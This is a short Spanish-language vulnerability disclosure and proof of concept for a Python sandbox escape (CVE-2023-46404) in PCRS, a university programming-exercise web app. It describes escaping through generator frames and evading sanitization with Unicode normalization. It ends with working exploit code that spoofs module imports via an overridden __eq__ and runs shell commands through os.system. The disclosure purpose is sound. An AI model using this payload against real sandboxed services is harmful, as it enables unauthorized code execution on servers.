
PoC y Writeup para CVE-2023-46404.
PCRS es una aplicación web para ejercicios de programación en línea desarrollada en la Universidad de Toronto. Ver repositorio de Bitbucket: https://bitbucket.org/utmandrew/pcrs/src/3.11/
La página “Questions” de PCRS, con envío de código, y la página “Code editor” son vulnerables a la ejecución remota de código (RCE) al escapar del sandboxing de Python.
La ejecución remota de código se puede lograr en instancias de PCRS mediante el uso de objetos generador. Al utilizar marcos de generador (gi_frame) y f_back, los scripts pueden salir de un marco de pila sandbox y ejecutar código malicioso en un entorno sin sandbox. Además, la normalización Unicode puede evadir fácilmente la sanitización básica de entradas. Cualquier usuario autenticado con privilegios mínimos puede realizar este ataque. Consulte el PoC para más detalles.
Crear mecanismos de aislamiento seguros desde cero es propenso a descuidos y vulnerabilidades. Como siempre, es mejor aislar un entorno de ejecución que un lenguaje.
Sobrescribir __eq__ puede usarse en un entorno restringido:
def f():
mod_name = "os"
fake_name = "json"
os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
os.system("id > /tmp/test.txt")
s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
os.system("rm /tmp/test.txt")
return s